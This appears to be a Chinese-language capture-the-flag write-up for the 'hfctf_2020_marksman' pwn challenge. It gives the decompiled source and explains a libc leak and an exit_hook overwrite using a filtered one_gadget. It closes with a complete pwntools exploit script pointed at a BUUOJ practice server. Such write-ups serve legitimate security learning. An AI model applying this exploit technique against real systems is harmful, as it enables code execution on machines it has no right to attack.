hfctf_2020_marksman
保护检查

源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int i; // [rsp+8h] [rbp-28h] int j; // [rsp+Ch] [rbp-24h] __int64 v6; // [rsp+10h] [rbp-20h] char v7[3]; // [rsp+25h] [rbp-Bh] BYREF unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u); sub_9BA(); sub_A55(); puts("Free shooting games! Three bullets available!"); printf("I placed the target near: %p\n", &puts); puts("shoot!shoot!"); v6 = sub_B78(); for ( i = 0; i <= 2; ++i ) { puts("biang!"); read(0, &v7[i], 1uLL); getchar(); } if ( (unsigned int)sub_BC2(v7) ) { for ( j = 0; j <= 2; ++j ) *(_BYTE *)(j + v6) = v7[j]; } if ( !dlopen(0LL, 1) ) exit(1); puts("bye~"); return 0LL; }
|
sub_BC2
1 2 3 4 5 6 7
| __int64 __fastcall sub_BC2(_BYTE *a1) { if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 ) return 1LL; puts("You always want a Gold Finger!"); return 0LL; }
|
首先让你输入一个地址
再让你输入3个字节
对后面输入的三个字节进行检查(限制onegadget的使用)
检查之后把后面输入的三个字节写到我们第一次输入的地址的后三个字节
正常使用onegadget会显示少部分的onegadget,再正常使用后面加上- l2就可以显示更多的onegadget
本题用到了exit_hook

计算出偏移,第一次输入就输入这个地址

本次用到的onegadget是下面这个

看了其他师傅的文章,将onegadget的地址-5进行使用,而当这个偏移加上libc基地址的时候第二个字节大概率就不是a3了,因为libc基址只有后三个16进制为是0
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./buu") p = remote('node4.buuoj.cn',25649) libc = ELF("u1864.so") p.recvuntil("I placed the target near: ") libcbase = int(p.recv(14),16) - libc.sym['puts'] print(hex(libcbase)) exit_hook = libcbase + 0x81dF60 og = libcbase + 0x10a387 p.recv() payload = str(exit_hook) p.sendline(payload) p.recv() p.sendline(p64(og)[0]) p.recv() p.sendline(p64(og)[1]) p.recv() p.sendline(p64(og)[2]) p.interactive()
|
